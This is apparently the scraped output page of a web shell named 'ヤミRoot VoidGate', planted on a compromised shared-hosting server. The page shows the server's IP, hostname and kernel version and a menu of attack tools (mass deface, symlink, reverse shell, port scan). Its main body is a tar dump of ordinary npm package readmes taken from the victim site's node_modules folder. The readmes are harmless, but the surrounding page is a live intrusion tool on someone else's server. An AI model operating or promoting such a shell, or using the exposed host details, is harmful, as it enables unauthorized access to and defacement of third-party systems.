ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: readme.md.tar
home/logercm/dev.loger.cm/node_modules/mimic-fn/readme.md 0000644 00000002254 15120134651 0017343 0 ustar 00 # mimic-fn [](https://travis-ci.org/sindresorhus/mimic-fn) > Make a function mimic another one Useful when you wrap a function in another function and like to preserve the original name and other properties. ## Install ``` $ npm install mimic-fn ``` ## Usage ```js const mimicFn = require('mimic-fn'); function foo() {} foo.unicorn = '🦄'; function wrapper() { return foo(); } console.log(wrapper.name); //=> 'wrapper' mimicFn(wrapper, foo); console.log(wrapper.name); //=> 'foo' console.log(wrapper.unicorn); //=> '🦄' ``` ## API It will copy over the properties `name`, `length`, `displayName`, and any custom properties you may have set. ### mimicFn(to, from) Modifies the `to` function and returns it. #### to Type: `Function` Mimicking function. #### from Type: `Function` Function to mimic. ## Related - [rename-fn](https://github.com/sindresorhus/rename-fn) - Rename a function - [keep-func-props](https://github.com/ehmicky/keep-func-props) - Wrap a function without changing its name, length and other properties ## License MIT © [Sindre Sorhus](https://sindresorhus.com) home/logercm/dev.loger.cm/node_modules/read-pkg-up/readme.md 0000644 00000004432 15120135277 0017765 0 ustar 00 # read-pkg-up [](https://travis-ci.org/sindresorhus/read-pkg-up) > Read the closest package.json file ## Why - [Finds the closest package.json](https://github.com/sindresorhus/find-up) - [Gracefully handles filesystem issues](https://github.com/isaacs/node-graceful-fs) - [Throws more helpful JSON errors](https://github.com/sindresorhus/parse-json) - [Normalizes the data](https://github.com/npm/normalize-package-data#what-normalization-currently-entails) ## Install ``` $ npm install read-pkg-up ``` ## Usage ```js const readPkgUp = require('read-pkg-up'); (async () => { console.log(await readPkgUp()); /* { packageJson: { name: 'awesome-package', version: '1.0.0', … }, path: '/Users/sindresorhus/dev/awesome-package/package.json' } */ })(); ``` ## API ### readPkgUp(options?) Returns a `Promise<object>` or `Promise<undefined>` if no `package.json` was found. ### readPkgUp.sync(options?) Returns the result object or `undefined` if no `package.json` was found. #### options Type: `object` ##### cwd Type: `string`\ Default: `process.cwd()` Directory to start looking for a package.json file. ##### normalize Type: `boolean`\ Default: `true` [Normalize](https://github.com/npm/normalize-package-data#what-normalization-currently-entails) the package data. ## read-pkg-up for enterprise Available as part of the Tidelift Subscription. The maintainers of read-pkg-up and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/npm-read-pkg-up?utm_source=npm-read-pkg-up&utm_medium=referral&utm_campaign=enterprise&utm_term=repo) ## Related - [read-pkg](https://github.com/sindresorhus/read-pkg) - Read a package.json file - [pkg-up](https://github.com/sindresorhus/pkg-up) - Find the closest package.json file - [find-up](https://github.com/sindresorhus/find-up) - Find a file by walking up parent directories - [pkg-conf](https://github.com/sindresorhus/pkg-conf) - Get namespaced config from the closest package.json home/logercm/dev.loger.cm/node_modules/array-union/readme.md 0000644 00000001001 15120137131 0020071 0 ustar 00 # array-union [](https://travis-ci.org/sindresorhus/array-union) > Create an array of unique values, in order, from the input arrays ## Install ``` $ npm install --save array-union ``` ## Usage ```js const arrayUnion = require('array-union'); arrayUnion([1, 1, 2, 3], [2, 3]); //=> [1, 2, 3] arrayUnion(['foo', 'foo', 'bar'], ['foo']); //=> ['foo', 'bar'] ``` ## License MIT © [Sindre Sorhus](https://sindresorhus.com) home/logercm/dev.loger.cm/node_modules/map-obj/readme.md 0000644 00000001053 15120137152 0017164 0 ustar 00 # map-obj [](https://travis-ci.org/sindresorhus/map-obj) > Map object keys and values into a new object ## Install ``` $ npm install --save map-obj ``` ## Usage ```js var mapObj = require('map-obj'); var newObject = mapObj({foo: 'bar'}, function (key, value, object) { // first element is the new key and second is the new value // here we reverse the order return [value, key]; }); //=> {bar: 'foo'} ``` ## License MIT © [Sindre Sorhus](http://sindresorhus.com) home/logercm/dev.loger.cm/node_modules/ansi-regex/readme.md 0000644 00000005005 15120137624 0017706 0 ustar 00 # ansi-regex > Regular expression for matching [ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code) ## Install ``` $ npm install ansi-regex ``` ## Usage ```js const ansiRegex = require('ansi-regex'); ansiRegex().test('\u001B[4mcake\u001B[0m'); //=> true ansiRegex().test('cake'); //=> false '\u001B[4mcake\u001B[0m'.match(ansiRegex()); //=> ['\u001B[4m', '\u001B[0m'] '\u001B[4mcake\u001B[0m'.match(ansiRegex({onlyFirst: true})); //=> ['\u001B[4m'] '\u001B]8;;https://github.com\u0007click\u001B]8;;\u0007'.match(ansiRegex()); //=> ['\u001B]8;;https://github.com\u0007', '\u001B]8;;\u0007'] ``` ## API ### ansiRegex(options?) Returns a regex for matching ANSI escape codes. #### options Type: `object` ##### onlyFirst Type: `boolean`<br> Default: `false` *(Matches any ANSI escape codes in a string)* Match only the first ANSI escape. ## FAQ ### Why do you test for codes not in the ECMA 48 standard? Some of the codes we run as a test are codes that we acquired finding various lists of non-standard or manufacturer specific codes. We test for both standard and non-standard codes, as most of them follow the same or similar format and can be safely matched in strings without the risk of removing actual string content. There are a few non-standard control codes that do not follow the traditional format (i.e. they end in numbers) thus forcing us to exclude them from the test because we cannot reliably match them. On the historical side, those ECMA standards were established in the early 90's whereas the VT100, for example, was designed in the mid/late 70's. At that point in time, control codes were still pretty ungoverned and engineers used them for a multitude of things, namely to activate hardware ports that may have been proprietary. Somewhere else you see a similar 'anarchy' of codes is in the x86 architecture for processors; there are a ton of "interrupts" that can mean different things on certain brands of processors, most of which have been phased out. ## Maintainers - [Sindre Sorhus](https://github.com/sindresorhus) - [Josh Junon](https://github.com/qix-) --- <div align="center"> <b> <a href="https://tidelift.com/subscription/pkg/npm-ansi-regex?utm_source=npm-ansi-regex&utm_medium=referral&utm_campaign=readme">Get professional support for this package with a Tidelift subscription</a> </b> <br> <sub> Tidelift helps make open source sustainable for maintainers while giving companies<br>assurances about security, maintenance, and licensing for their dependencies. </sub> </div> home/logercm/dev.loger.cm/node_modules/del/readme.md 0000644 00000006141 15120211133 0016376 0 ustar 00 # del [](https://travis-ci.org/sindresorhus/del) [](https://github.com/xojs/xo) > Delete files and folders using [globs](https://github.com/isaacs/minimatch#usage) Similar to [rimraf](https://github.com/isaacs/rimraf), but with a Promise API and support for multiple files and globbing. It also protects you against deleting the current working directory and above. --- <p align="center">🐶</p> <p align="center"><b>Support this project and improve your JavaScript skills with this great <a href="https://ES6.io/friend/AWESOME">ES6 course</a> by Wes Bos.</b><br>Try his free <a href="https://javascript30.com/friend/AWESOME">JavaScript 30 course</a> for a taste of what to expect. You might also like his <a href="https://ReactForBeginners.com/friend/AWESOME">React</a> and <a href="https://SublimeTextBook.com/friend/AWESOME">Sublime</a> course.</p> --- ## Install ``` $ npm install del ``` ## Usage ```js const del = require('del'); (async () => { const deletedPaths = await del(['tmp/*.js', '!tmp/unicorn.js']); console.log('Deleted files and folders:\n', deletedPaths.join('\n')); })(); ``` ## Beware The glob pattern `**` matches all children and *the parent*. So this won't work: ```js del.sync(['public/assets/**', '!public/assets/goat.png']); ``` You have to explicitly ignore the parent directories too: ```js del.sync(['public/assets/**', '!public/assets', '!public/assets/goat.png']); ``` Suggestions on how to improve this welcome! ## API ### del(patterns, [options]) Returns a promise for an array of deleted paths. ### del.sync(patterns, [options]) Returns an array of deleted paths. #### patterns Type: `string` `string[]` See supported minimatch [patterns](https://github.com/isaacs/minimatch#usage). - [Pattern examples with expected matches](https://github.com/sindresorhus/multimatch/blob/master/test/test.js) - [Quick globbing pattern overview](https://github.com/sindresorhus/multimatch#globbing-patterns) #### options Type: `Object` See the [`glob` options](https://github.com/isaacs/node-glob#options). ##### force Type: `boolean`<br> Default: `false` Allow deleting the current working directory and outside. ##### dryRun Type: `boolean`<br> Default: `false` See what would be deleted. ```js const del = require('del'); (async () => { const deletedPaths = await del(['tmp/*.js'], {dryRun: true}); console.log('Files and folders that would be deleted:\n', deletedPaths.join('\n')); })(); ``` ##### concurrency Type: `number`<br> Default: `Infinity`<br> Minimum: `1` Concurrency limit. ## CLI See [del-cli](https://github.com/sindresorhus/del-cli) for a CLI for this module and [trash-cli](https://github.com/sindresorhus/trash-cli) for a safe version that is suitable for running by hand. ## Related - [make-dir](https://github.com/sindresorhus/make-dir) - Make a directory and its parents if needed - [globby](https://github.com/sindresorhus/globby) - User-friendly glob matching ## License MIT © [Sindre Sorhus](https://sindresorhus.com) home/logercm/dev.loger.cm/node_modules/is-path-in-cwd/readme.md 0000644 00000001044 15120211341 0020354 0 ustar 00 # is-path-in-cwd [](https://travis-ci.org/sindresorhus/is-path-in-cwd) > Check if a path is in the [current working directory](https://en.wikipedia.org/wiki/Working_directory) ## Install ``` $ npm install is-path-in-cwd ``` ## Usage ```js const isPathInCwd = require('is-path-in-cwd'); isPathInCwd('unicorn'); //=> true isPathInCwd('../rainbow'); //=> false isPathInCwd('.'); //=> false ``` ## License MIT © [Sindre Sorhus](https://sindresorhus.com) home/logercm/dev.loger.cm/node_modules/resolve-url/readme.md 0000644 00000004570 15120211460 0020120 0 ustar 00 Overview ======== [](https://ci.testling.com/lydell/resolve-url) Like Node.js’ [`path.resolve`]/[`url.resolve`] for the browser. ```js var resolveUrl = require("resolve-url") window.location // https://example.com/articles/resolving-urls/edit resolveUrl("remove") // https://example.com/articles/resolving-urls/remove resolveUrl("/static/scripts/app.js") // https://example.com/static/scripts/app.js // Imagine /static/scripts/app.js contains `//# sourceMappingURL=../source-maps/app.js.map` resolveUrl("/static/scripts/app.js", "../source-maps/app.js.map") // https://example.com/static/source-maps/app.js.map resolveUrl("/static/scripts/app.js", "../source-maps/app.js.map", "../coffee/app.coffee") // https://example.com/static/coffee/app.coffee resolveUrl("//cdn.example.com/jquery.js") // https://cdn.example.com/jquery.js resolveUrl("http://foo.org/") // http://foo.org/ ``` Installation ============ - `npm install resolve-url` - `bower install resolve-url` - `component install lydell/resolve-url` Works with CommonJS, AMD and browser globals, through UMD. Usage ===== ### `resolveUrl(...urls)` ### Pass one or more urls. Resolves the last one to an absolute url, using the previous ones and `window.location`. It’s like starting out on `window.location`, and then clicking links with the urls as `href` attributes in order, from left to right. Unlike Node.js’ [`path.resolve`], this function always goes through all of the arguments, from left to right. `path.resolve` goes from right to left and only in the worst case goes through them all. Should that matter. Actually, the function is _really_ like clicking a lot of links in series: An actual `<a>` gets its `href` attribute set for each url! This means that the url resolution of the browser is used, which makes this module really light-weight. Also note that this functions deals with urls, not paths, so in that respect it has more in common with Node.js’ [`url.resolve`]. But the arguments are more like [`path.resolve`]. [`path.resolve`]: http://nodejs.org/api/path.html#path_path_resolve_from_to [`url.resolve`]: http://nodejs.org/api/url.html#url_url_resolve_from_to Tests ===== Run `npm test`, which lints the code and then gives you a link to open in a browser of choice (using `testling`). License ======= [The X11 (“MIT”) License](LICENSE).
Coded With 💗 by
0x6ick